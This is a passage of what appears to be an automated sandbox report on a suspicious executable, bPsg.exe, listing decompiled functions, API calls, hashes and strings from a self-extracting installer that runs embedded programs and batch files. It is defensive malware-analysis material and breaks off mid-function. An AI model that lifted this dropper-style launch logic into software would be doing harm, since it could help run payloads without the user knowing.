Instruction ID: de78255a7aee21a43cd4c059627c1e6d9914de6265dec7f8cd48792a42c69147
Opcode Fuzzy Hash: 45d5bd70e35698eabe3b134a88c4e7c2a455df76b31ba6e0096f88b5db1a9f22
Instruction Fuzzy Hash: 3A01677390125577DB314BA67D88EEBBB7CEBC6B10F15011BF915E2280D561CA44C671

Uniqueness

Uniqueness Score: -1.00%

Function 003D65E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E003D65E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x003d65e8
0x003d65ed
0x003d65ef
0x003d65f2
0x003d65f4
0x003d65f4
0x003d65f6
0x003d65f7
0x003d6608
0x003d6611
0x003d6618
0x003d661c
0x00000000
0x00000000
0x003d660e
0x003d6623
0x003d6625
0x003d663b
0x003d663b
0x003d663d
0x003d6641
0x003d6610
0x003d6610
0x00000000
0x003d6610
0x003d6644
0x003d6647
0x003d6647
0x003d6621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,003D2B33), ref: 003D6602
CharPrevA.USER32(?,00000000), ref: 003D6612
CharPrevA.USER32(?,00000000), ref: 003D6629
CharNextA.USER32(00000000), ref: 003D6635

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 4a24ef0a05e4cd57727a777e180b5ab34c778e839b6dea8cf30f2738e1937318
Instruction ID: 2ef1a99d4bbe5c42267eeb2a461ff186eb8421d989a4f60190b95a9e990d6d8b
Opcode Fuzzy Hash: 4a24ef0a05e4cd57727a777e180b5ab34c778e839b6dea8cf30f2738e1937318
Instruction Fuzzy Hash: F6F028334059506EE7331F28BC888BBBF9CCF8B354F2A01AFE4E282201D6154E468661

Uniqueness

Uniqueness Score: -1.00%

Function 003D69B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D69B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0x3d81f8 = E003D6C70();
				__set_app_type(E003D6FBE(2));
				 *0x3d88a4 =  *0x3d88a4 | 0xffffffff;
				 *0x3d88a8 =  *0x3d88a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0x3d8528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0x3d851c; // 0x0
				 *_t5 = _t12;
				_t6 = E003D7000();
				if( *0x3d8000 == 0) {
					__setusermatherr(E003D7000);
				}
				E003D71EF(_t6);
				return 0;
			}

0x003d69b7
0x003d69c2
0x003d69c8
0x003d69cf
0x003d69d8
0x003d69de
0x003d69e4
0x003d69e6
0x003d69ec
0x003d69f2
0x003d69f4
0x003d6a00
0x003d6a07
0x003d6a0d
0x003d6a0e
0x003d6a15

APIs

Part of subcall function 003D6FBE: GetModuleHandleW.KERNEL32(00000000), ref: 003D6FC5

__set_app_type.MSVCRT ref: 003D69C2
__p__fmode.MSVCRT ref: 003D69D8
__p__commode.MSVCRT ref: 003D69E6
__setusermatherr.MSVCRT ref: 003D6A07

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 8dea93e1adc27aefea82c9e9ec284f48f8f8475132a30ee6e6772a6b97d1912e
Instruction ID: 7806fd8220ba80f8eaa06d1a26b59074919f1b7b5b9b3c91d533bfa462bdaa33
Opcode Fuzzy Hash: 8dea93e1adc27aefea82c9e9ec284f48f8f8475132a30ee6e6772a6b97d1912e
Instruction Fuzzy Hash: 3FF01CB210A7019FC717AB35FE0A6083B69FB05331F104A0BE4A18A3F1DF3AA554CA11

Uniqueness

Uniqueness Score: -1.00%

Function 003D6952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D6952(CHAR* __ecx) {
				long _v8;
				long _v12;
				long _v16;
				char _v20;
				int _t22;

				_t22 = 0;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if( *__ecx != 0) {
					_t6 =  &_v20; // 0x3d5760
					if(GetDiskFreeSpaceA(__ecx,  &_v12,  &_v8, _t6,  &_v16) != 0) {
						_t22 = MulDiv(_v8 * _v12, _v16, 0x400);
					}
				}
				return _t22;
			}

0x003d695b
0x003d6960
0x003d6963
0x003d6966
0x003d6969
0x003d696c
0x003d6972
0x003d6987
0x003d699f
0x003d699f
0x003d6987
0x003d69a7

APIs

GetDiskFreeSpaceA.KERNEL32(0000005A,?,?,`W=,?,00000000,003D5760,?,A:\), ref: 003D697F
MulDiv.KERNEL32(?,?,00000400), ref: 003D6999

Strings

`W=, xrefs: 003D6972, 003D6975

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: DiskFreeSpace
String ID: `W=
API String ID: 1705453755-436508080
Opcode ID: 26ab0ccefc75b0e1d8dc3109833aa4c678be90649123ba54b1665fe8fec38ca7
Instruction ID: 190f7fb84efa5adf1fd67542a0b1f4e727004c72e0a65ed459a99e93a161611e
Opcode Fuzzy Hash: 26ab0ccefc75b0e1d8dc3109833aa4c678be90649123ba54b1665fe8fec38ca7
Instruction Fuzzy Hash: 0EF0E7B6D01228BBCB12DFE89D45ADEBBBCEB48700F104197A510E2240D6719A008B91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: bPsg.exePID: 984, Parent PID: 616COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	969
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00F33BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F33BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0xf38004; // 0xc69e30f7
				_v8 = _t69 ^ _t164;
				_t153 = 0;
				 *0xf39124 =  *0xf39124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0xf38a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0xf38c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E00F3468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E00F344B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0xf39124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00F31AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00F36CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00F33FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0xf38580;
													if( *0xf38580 != 0) {
														E00F32267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0xf38180;
											if( *0xf38180 == 0) {
												_t146 = 0x4c7;
												E00F344B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0xf39124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0xf39a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00F36495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E00F344B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0xf39124 = E00F36285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E00F344B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0xf38a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0xf39a40; // 0x3
											_v364 = _t96;
											_t97 =  *0xf38a38 & 0x0000ffff;
											_v380 = 0xf39154;
											_v376 = _t151;
											_v372 = 0xf391e4;
											_v360 = _t97;
											if( *0xf38a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0xf39a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0xf38d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0xf39a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0xf3a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0xf39124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0xf39a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0xf38a20;
										if( *0xf38a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E00F3202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E00F3468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0xf38c42;
									if( *0xf38c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0xf38a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E00F3468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E00F3468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00F31781( &_v276, 0x104, _t130, 0xf38c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E00F3468F(_t130, 0xf39a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00f33baa
0x00f33bb0
0x00f33bb7
0x00f33bc0
0x00f33bc2
0x00f33bc9
0x00f33bcb
0x00f33bcf
0x00f33bd3
0x00f33bd9
0x00f33bfd
0x00f33bfd
0x00f33bff
0x00f33c03
0x00f33c03
0x00f33c11
0x00f33c16
0x00f33c19
0x00f33c28
0x00000000
0x00000000
0x00f33c30
0x00f33c39
0x00f33c40
0x00f33d13
0x00f33d15
0x00f33d21
0x00f33d26
0x00000000
0x00f33c4f
0x00f33c56
0x00f33c60
0x00f33c65
0x00f33c77
0x00f33c78
0x00f33c7c
0x00f33c7e
0x00f33c82
0x00f33c82
0x00000000
0x00f33c7c
0x00f33c67
0x00f33c69
0x00f33c6d
0x00000000
0x00f33c58
0x00f33c58
0x00f33c6e
0x00f33c6e
0x00f33c87
0x00f33c89
0x00f33d4d
0x00f33d4f
0x00f33d50
0x00f33d52
0x00f33d9e
0x00f33da8
0x00f33daf
0x00f33db4
0x00f33db6
0x00f33f4d
0x00f33f4d
0x00f33f4f
0x00f33f56
0x00f33f57
0x00f33f58
0x00f33f63
0x00f33f63
0x00f33dbc
0x00f33dc0
0x00f33dc2
0x00f33de6
0x00f33de6
0x00f33de8
0x00f33f0b
0x00f33f0b
0x00f33f0f
0x00f33f13
0x00f33f15
0x00f33f1a
0x00f33f1c
0x00f33f46
0x00f33f47
0x00000000
0x00f33f47
0x00f33f1e
0x00f33f1f
0x00f33f25
0x00f33f26
0x00f33f2a
0x00f33f2d
0x00f33fd9
0x00f33fd9
0x00f33fda
0x00f33fda
0x00f33fe1
0x00f33fe3
0x00f33fe3
0x00f33fe8
0x00000000
0x00f33fe8
0x00f33f33
0x00f33f37
0x00000000
0x00f33f37
0x00f33dee
0x00f33dee
0x00f33df5
0x00f33fad
0x00f33fb9
0x00f33fc2
0x00f33fc8
0x00000000
0x00f33fc8
0x00f33dfb
0x00f33dfd
0x00000000
0x00000000
0x00f33e03
0x00f33e0a
0x00000000
0x00000000
0x00f33e15
0x00f33e17
0x00f33e19
0x00f33f94
0x00f33fa4
0x00f33f7c
0x00f33f80
0x00f33f8b
0x00000000
0x00f33f8b
0x00f33e2c
0x00f33e30
0x00f33e34
0x00f33e36
0x00f33f69
0x00f33f6e
0x00f33f70
0x00f33f76
0x00000000
0x00f33f76
0x00f33e3c
0x00f33e43
0x00f33e47
0x00f33e52
0x00f33e56
0x00f33e5c
0x00f33e61
0x00f33e68
0x00f33e70
0x00f33e74
0x00f33e7c
0x00f33e80
0x00f33e82
0x00f33e82
0x00f33e87
0x00f33e87
0x00f33e8b
0x00f33e91
0x00f33e94
0x00f33e96
0x00f33e96
0x00f33e9b
0x00f33e9b
0x00f33e9f
0x00f33ea2
0x00f33ea4
0x00f33ea4
0x00f33ea9
0x00f33ea9
0x00f33ead
0x00f33eb3
0x00f33eb6
0x00f33eb8
0x00f33eb8
0x00f33ebd
0x00f33ebd
0x00f33ec1
0x00f33ec3
0x00f33ec5
0x00f33ec5
0x00f33eca
0x00f33eca
0x00f33ece
0x00f33ed5
0x00f33ed9
0x00f33ee0
0x00f33ee6
0x00f33eea
0x00f33eec
0x00f33eee
0x00f33ef3
0x00f33ef3
0x00f33ef5
0x00f33efa
0x00f33efb
0x00f33efd
0x00f33f40
0x00000000
0x00f33eff
0x00f33eff
0x00f33f05
0x00000000
0x00f33f05
0x00f33efd
0x00f33dc7
0x00f33dce
0x00000000
0x00000000
0x00f33dd0
0x00f33dd7
0x00000000
0x00000000
0x00f33dd9
0x00f33ddb
0x00000000
0x00000000
0x00f33ddd
0x00f33de1
0x00000000
0x00f33de1
0x00f33d59
0x00f33d65
0x00f33d6a
0x00f33d6c
0x00000000
0x00000000
0x00f33d6e
0x00f33d75
0x00000000
0x00000000
0x00f33d8f
0x00f33d96
0x00f33d98
0x00000000
0x00000000
0x00000000
0x00f33d98
0x00f33c8f
0x00f33c98
0x00f33cf1
0x00f33cf3
0x00000000
0x00000000
0x00f33cfe
0x00f33d11
0x00000000
0x00000000
0x00000000
0x00f33d11
0x00f33c9c
0x00f33ca5
0x00f33ca7
0x00000000
0x00000000
0x00f33cad
0x00f33cb2
0x00f33cb7
0x00f33cc5
0x00000000
0x00000000
0x00f33ce8
0x00f33cec
0x00f33ced
0x00f33ced
0x00000000
0x00f33ce8
0x00f33c9e
0x00000000
0x00f33c9e
0x00f33c56
0x00f33d35
0x00f33d35
0x00f33d3c
0x00f33d48
0x00000000
0x00f33d48
0x00f33c03
0x00f33be2
0x00f33be7
0x00f33bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00F33C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00F33CDC

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00F38C42), ref: 00F33D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00F33E26
FreeLibrary.KERNEL32(00000000,?,00F38C42), ref: 00F33EFF
LocalFree.KERNEL32(?,?,?,?,00F38C42), ref: 00F33F1F
FreeLibrary.KERNEL32(00000000,?,00F38C42), ref: 00F33F40
LocalFree.KERNEL32(?,?,?,?,00F38C42), ref: 00F33F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00F38C42), ref: 00F33F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00F38C42), ref: 00F33F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00F38C42), ref: 00F33FC2

Strings

D, xrefs: 00F33C19
SHOWWINDOW, xrefs: 00F33C34
USRQCMD, xrefs: 00F33CAD
REBOOT, xrefs: 00F33BE2
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F33E74
ADMQCMD, xrefs: 00F33C9E
POSTRUNPROGRAM, xrefs: 00F33D60
advpack.dll, xrefs: 00F33F9D
RUNPROGRAM, xrefs: 00F33D05
lenta, xrefs: 00F33E68
<None>, xrefs: 00F33CC9, 00F33D7D
DoInfInstall, xrefs: 00F33E1F, 00F33E24, 00F33F68

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$lenta
API String ID: 1032054927-1033524935
Opcode ID: 07127e23abc38d29e47377d1be1b481afdf47c495102e71f011d27b0ff362593
Instruction ID: 1e9235beddf59dc892ed890a0f012e44dc5f74d0aaa98c0d48332ce491eb1575
Opcode Fuzzy Hash: 07127e23abc38d29e47377d1be1b481afdf47c495102e71f011d27b0ff362593
Instruction Fuzzy Hash: 3AB122709083059BD724DF34CC45B6B76E5EB84770F00092DFA85D62A1EBB8CA45FB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F31AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F31AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0xf38004; // 0xc69e30f7
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00F31680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E00F31A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00F31781( &_v268, 0x104, _t111, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
					E00F3658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00F31680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E00F366C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E00F366C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00F31680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00F31781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E00F316B3( &_v1552, 0x400, " ");
										E00F316B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00F32AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E00F3171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00F31A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00F31A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E00F344B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
